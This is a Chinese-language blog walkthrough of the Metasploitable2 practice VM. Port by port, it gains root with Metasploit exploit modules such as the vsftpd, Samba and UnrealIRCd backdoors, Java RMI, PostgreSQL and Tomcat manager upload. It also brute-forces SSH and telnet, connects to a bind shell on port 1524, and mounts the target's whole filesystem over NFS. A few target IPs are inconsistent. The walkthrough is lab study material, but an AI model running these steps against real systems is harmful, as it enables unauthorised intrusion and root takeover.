Metasploitable2靶场漏洞详解(涵盖绝大部分漏洞,含Metasploitable2靶场下载)
本文内容为Metasploitable2靶机的全部漏洞的详细讲解(涵盖绝大部分漏洞,含Metasploitable2靶场下载) ,
附带Metasploitable2安装以及Kali镜像源下载分享,\
需要看哪部分的内容请自行跳转.
文章目录
-
- Metasploitable2靶场漏洞详解(涵盖绝大部分漏洞,含Metasploitable2靶场下载)
-
- 安装Metasploitable2
- [Metasploitable2 靶机漏洞](#Metasploitable2 靶机漏洞)
-
- 扫描发现靶机
- 端口21
- 端口22
- 端口23
- 端口80
- [端口139 445](#端口139 445)
- 端口512,513,514
- 端口1099
- 端口42359
- [端口 1524](#端口 1524)
- 端口111和端口2049
- 端口5432端口
- [端口 5900](#端口 5900)
- 端口5432
- 端口6667,6697
- 端口8009
- 端口8180
安装Metasploitable2
先下载Metasploitable2
百度网盘下载链接 提取码:4uci
需要先下载VMware,
如果不会下载VMware可以去:
下载完成后,
按照以下步骤打开即可



打开虚拟机即可,打开之后稍微等一会儿,就成功启动了.
没错,这个机器就是只有命令行打开之后就是这样的.
用户名和密码都是msfadmin

这里Metasploitable2 靶机就安装完成了
Kali安装
因为对靶场进行渗透需要很多网络安全工具,如果自己配的话会有一些麻烦,Kali则是一个配置好的操作系统,可以下载一个Kali作为攻击机进行操作,
在我自己进行测试的时候,我自己的kali密码忘记了,使得自己不得不重新安装,但是在重新安装的时候又发现镜像居然不好用了,于是去官网下载了最新版的镜像,镜像资源也放到这里
Kali镜像:
百度网盘 提取码:742g
阿里云盘没办法分享ISO,这里就不放了,
放一个官网下载链接:
具体的安装步骤这里就不赘述了,本文主要专注于对漏洞的讲解
需要安装步骤可以自行搜索
因为教程良莠不齐,推荐教程 Kali安装教程
Metasploitable2 靶机漏洞
Metasploitable2 靶机和Kali安装完成后,可通过指令
bash
ifconfig
来查看本机IP.


bash
本文Kali攻击机IP为192.168.174.134
本文靶机IP为 192.168.174.132
显然安装Metaploitables后,可以明显的知道用户名和密码都是msfadmin,但是我们作为攻击者显然要假装不知道他的密码
于是开始进行靶机测试
扫描发现靶机
既然这个靶机是一个未知的机器,首先在kali里面来发现这个机器,
使用arp-scan工具进行一个基于ARP协议发现活跃的设备,这个命令是通过向网络中所有的设备发送ARP请求,来进行相应,从而识别到网络中活跃的设备。
bash
arp-scan -I eth0 -l
#命令解释: arp-scan 使用arp-scan工具
#--I指定使用的网络接口,也就是网卡
#-l 扫描所有的IP地址

通过判断192.168.174.132 就是靶机所在的IP地址
使用nmap进行扫描这个IP地址
bash
nmap -sV -p 1-65535 192.168.173.132
指令解释:
这里的-sV是对每个服务的版本进行探测
-p 是指定端口,这里指定了所有的端口就是1-65535
当然也可以使用"nmap 192.168.173.132",只是扫出来的
可能没那么全面

可以看到扫出了这么多开放的端口
端口21
发现21端口是ftp服务,版本是vsftp2.3.4
plain
msfconsole
输入msfconsole命令,打开 Metasploit 是一个广泛使用的安全测试框架
可以利用search 来寻找是否存在漏洞利用模块,这个漏洞利用模块怎么理解呢,大白话说就是可以直接用这个模块来进行攻击
bash
use exploit/unix/ftp/vsftpd_234_backdoor
use 就是利用这个漏洞模块

bash
set RHOSTS 192.168.174.132
#set就是 设置目标主机
run
#直接run就行,就开始利用这个漏洞了
可以看到下图最下面 whoami 显示root,已经成功拿到靶机的root权限了!!

端口22
针对22 ssh 端口 ,可以直接连接,用字典来爆破账户和密码
同样是
bash
msfconsole
search ssh_login
use auxiliary/scanner/ssh/ssh_login
输入命令后可以看到有对应的模块


bash
info
#info是用来查看这个模块下可以设置的参数

bash
set RHOSTS 192.168.174.132
set PASS_FILE passwd.txt
set USER_FILE username.txt
#上面的passwd.txt 和 username.txt
#密码爆破字典和用户名爆破字典
字典可自己构造(虽然这样不算很正规,但是可以提升速度),
也可去网上找资源,网上找的资源却不一定有msfadmin
听起来还是比较矛盾的
当然如果你很懒就用我的吧(看到这里可以收藏点赞了!):
这个是我针对这个靶场构造的小字典,因为大的字典需要很长很长时间,这个有针对性,但是又不严谨,可以选择性使用本人的构造(作弊)字典.=_=
百度网盘下载链接


发现爆破成功 用户名msfadmin 密码 msfadmin ,虽然本来就知道,但是要悄悄装作不知道,不过还是成功了!
端口23
大概还是同样的步骤,
同样还是
bash
msfconsole
search telnet

bash
use auxiliary/scanner/telnet/telnet_login
info

bash
set RHOSTS 192.168.174.132
set PASS_FILE passwd.txt
set USER_FILE username.txt
run
#同样还是进行配置目标主机,配置密码爆破文件,配置用户爆破文件

可以看到,已经成功的爆破了,密码和用户,
但是事实上,我们在21端口已经成功爆破到了用户名和密码,就可以利用msfadmin来进行登录测试了。

端口80
80端口众所周知,一般来说是前端服务器的端口,共nmap的扫描记录也可看得到,是Apache,所以老规矩,(当然也不是什么规矩🤪)
直接在msfconsole搜一下看看。
先看看Apache的版本
bash
search http_ver
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.174.132
run
#这里search http_ver 看看有没有与版本相关的,所以打了个ver,没有打全,但也不影响,
然后发现有http_version,直接用起来,
按照命令运行后,发现版本暴露出来 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10)
并且PHP也暴露出来

可以直接访问phpinfo.php 可以看到更多的信息

好像没看到什么有用的,尝试扫一下目录
利用msfconsole 里面的dir_scanner
命令如下:
bash
search dir_scanner
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.174.132
run

显而易见,目录也暴露出来了
可以看到PHP运行CGI和fastVGI 协议,这是一个允许服务器执行脚本的标准协议。当PHP在这个协议下运行的时候,会为每个请求启动一个新的PHP进程。这有说法了,看看有没有类似的payload
bash
search php_cgi
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.174.132
run
下图可以看到,已经成功进入web服务器了,又成功的拿到了

利用构造一个shell ,如下图可以看到拿到服务器的权限,已经可以跨越目录了。

当然这个80端口还可以进行DDOS攻击,会让前端服务器瘫痪,这个比较简单暂时先不写,如果需要可评论区留言,需要的话可以更新,这个比较简单。
端口139 445
通过最前面nmap扫描到的可以看到,是netbios-ssn,这个全程应该是( NetBIOS Session Service(NetBIOS 会话服务) )用来进行windows文件共享,打印机共享,等等。。。'
如果看到的是139/tcp open netbios-ssn 这意味这这台机器正在运行旧版的SMB文件共享服务
众所周知,旧版的服务一般都存在问题。正巧扫描到的正好是旧版的。

那就我们开始操作了,haihaihai。
旧版的SMB是可以就行匿名登录的,尝试一下能不能连接上
bash
smbclient -L 192.168.174.132 -N
还真连接上了,如下图:

那就去看看有没有相关的漏洞吧,
还是老规矩
直接msfconsole,这个工具太好用了!
bash
msfconsole
search smb_ver
先看对面服务的版本嘛,那就看看有没有对应的工具,还真有欸

那就用一下

是smb3.0.20
跟着思路继续搜一下,有没有相关的payload。
plain
search Samba3.0.20
搜索到了,那就直接用!

plain
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.174.132
run
如下图,成功拿到root权限!

端口512,513,514

可以看到nmap扫出来是exec这个服务,这个服务是允许用户在远程系统上运行远程命令的服务。
那就看看能否登录到远程机器
这个命令就是远程登录的,如果你没有rlogin,那需要安装一下包,如果有的话就不需要了。所以可以先运行下面的代码
plain
rlogin -l root 192.168.174.132
如果没有rlogin的话,那就可以先把包给安装上,安装命令:
plain
sudo apt-get install rsh-client

发现还真可以远程登陆到了,拿到了root权限,这个过程好顺利!
端口1099
可以看到端口1099的服务是java-rmi

这个java-rmi
java RMI(远程方法调用)协议允许在一台计算机上运行的程序像调用本地系统中的对象一样,调用位于另一台计算机上的对象的方法。
总而言之,说白了,把他理解为 就是Java 应用程序在网络中进行通信、共享数据。
这个工作原理是服务器会创建一个远程对象,这个对象的功能可以被其他的电脑使用
所以客户端可以来调用服务器上那个远程对象的方法
那就来试试
扫描在1099端口上是否有已知的漏洞
plain
nmap -p 1099 --script vuln 192.168.174.132
可以看到有一个 rmiregistry 服务

老规矩,还是老规矩msfconsole,搜一下看看,命令如下
plain
search rmiregistry
use exploit/multi/misc/java_rmi_server
set RHOSTS 192.168.174.132
run



发现成功拿到root权限!
端口42359
与上文端口1099 一样的,把端口改一下就可以成功,不过多赘述.
端口 1524
端口1524是个bind shell 是个远程访问的方式,让目标主机打开一个监听端口,等待别人链接,
当连接成功后,对方就能访问目标机器的命令行。
那就开始!
bash
nc 192.168.174.132 1524
这个命令nc 是网络连接工具 netcat
用netcat 去链接目标主机192.168.174.132 1524 端口
如果没办法理解的话:
你向目标电脑的 1524 端口,打电话
如果那边有人接听,你就能和该服务对话。

可以看到,直接拿到root权限!
端口111和端口2049
根据nmap扫描结果,111端口是rpcbind 2049是nfs
实际上rpcbind是帮助客户端来寻找NFS等服务的运行位置。
NFS则是通过网络共享文件的服务。
plain
rpcinfo -p 192.168.174.132
#查询目标主机上注册到rpcbind/portmapper的所有的RPC的服务并显示

plain
showmount -e 192.168.174.132
#向目标主机请求,返回的是对外共享的目录信息
#可以看到返回的是/* 就是所有的文件
那很开心了,直接把远程文件挂载我自己的这台机器上,这样就可以访问了到对面机器的所有文件了,那挂载这个词如何理解,就是相当于远程机器的文件可以在本机直接共享。
于是我在当前的目录下
plain
mkdir data
新建一个data文件夹,来把远程主机的文件都挂载到data文件夹下!

plain
mount -t nfs 192.168.174.132:/ /home/user1/data
见证奇迹的时候到了,ls一下,发现。。。,不对啊,怎么没有!不对啊不对啊啊
这里去上了个厕所回来之后,试了一下在root权限的目录下进行操作
plain
cd ~
mkdir data
mount -t nfs 192.168.174.132:/ /root/data
ls data
发现,居然可以了!成功通过漏洞拿到对方机器的共享权限!成功!

OK 得到了,就可以随便的操作靶机了。
端口5432端口

可以看到 postgresql
那就老规矩
bash
search postgresql


bash
use exploit/linux/postgres/postgres_payload
set RHOSTS 192.168.174.132
set LHOST 192.168.174.134
run


拿到root权限
端口 5900
这个端口通常与远程桌面共享系统VNC相关的,所以可以试一下VNC的登录,这个VNC可以允许用户通过网络查看远程计算机的桌面环境并交互。
命令如下:
plain
msfconsole
search vnc_login
use auxiliary/scanner/vnc/vnc_login
set RHOSTS 192.168.174.132
run
#这一步run后已经看得到密码了 password
vncviewer 192.168.174.132

如下图可以看到已经拿到对方的root权限了,又成功了~

端口5432
PostgreSQL 是一个功能强大的开源关系型数据库管理系统(relational database management system),因为她的扩展性和高级功能闻名。(正因如此,漏洞肯定也是闻名的)
这里在msfconsole搜索一下有无PostgreSQL的漏洞,命令如下
plain
msfconsole
search PostgreSQL
set RHOSTS 192.168.174.132
set LHOST 192.168.174.134
run
#这里的set RHOSTS和LHOST 就是这是远程ip和本地ip
#我实验过程中是


端口6667,6697
是一个服务,都是irc服务,
老规矩还是msfconsole一下
命令如下,可看截图
bash
search irc
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.174.132
show payloads
set payload 1
run



成功拿到root权限,可以看到图片里的步骤,和其他的不一样,这里需要额外的去选择一下payloads不然不行。
端口8009

是一个AJP13
google后发现是一个漏洞,CVE-2020-1938
有现成的POC可以用:
https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
据其他师傅说这个exp需要用python2,在安装包的时候也需要安装到python2的环境下,
根据资料:说是在安装的时候会存在一些问题,比如pip install的时候总会安装到python3中,并提供解决方法,

此处引用这位师傅的解决办法.
端口8180
访问看看,发现是tomcat,回顾之前用nmap扫到的可以看到版本

命令如下
plain
msfconsole
search apache tomcat
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.137.128
set RPORT 8180
set HttpPassword tomcat
set HttpUsername tomcat
run


最后成功拿到了root权限,利用的是Apache Tomcat的漏洞。
十分感谢以下各位大佬的文章,本文参考文章如下:
文章1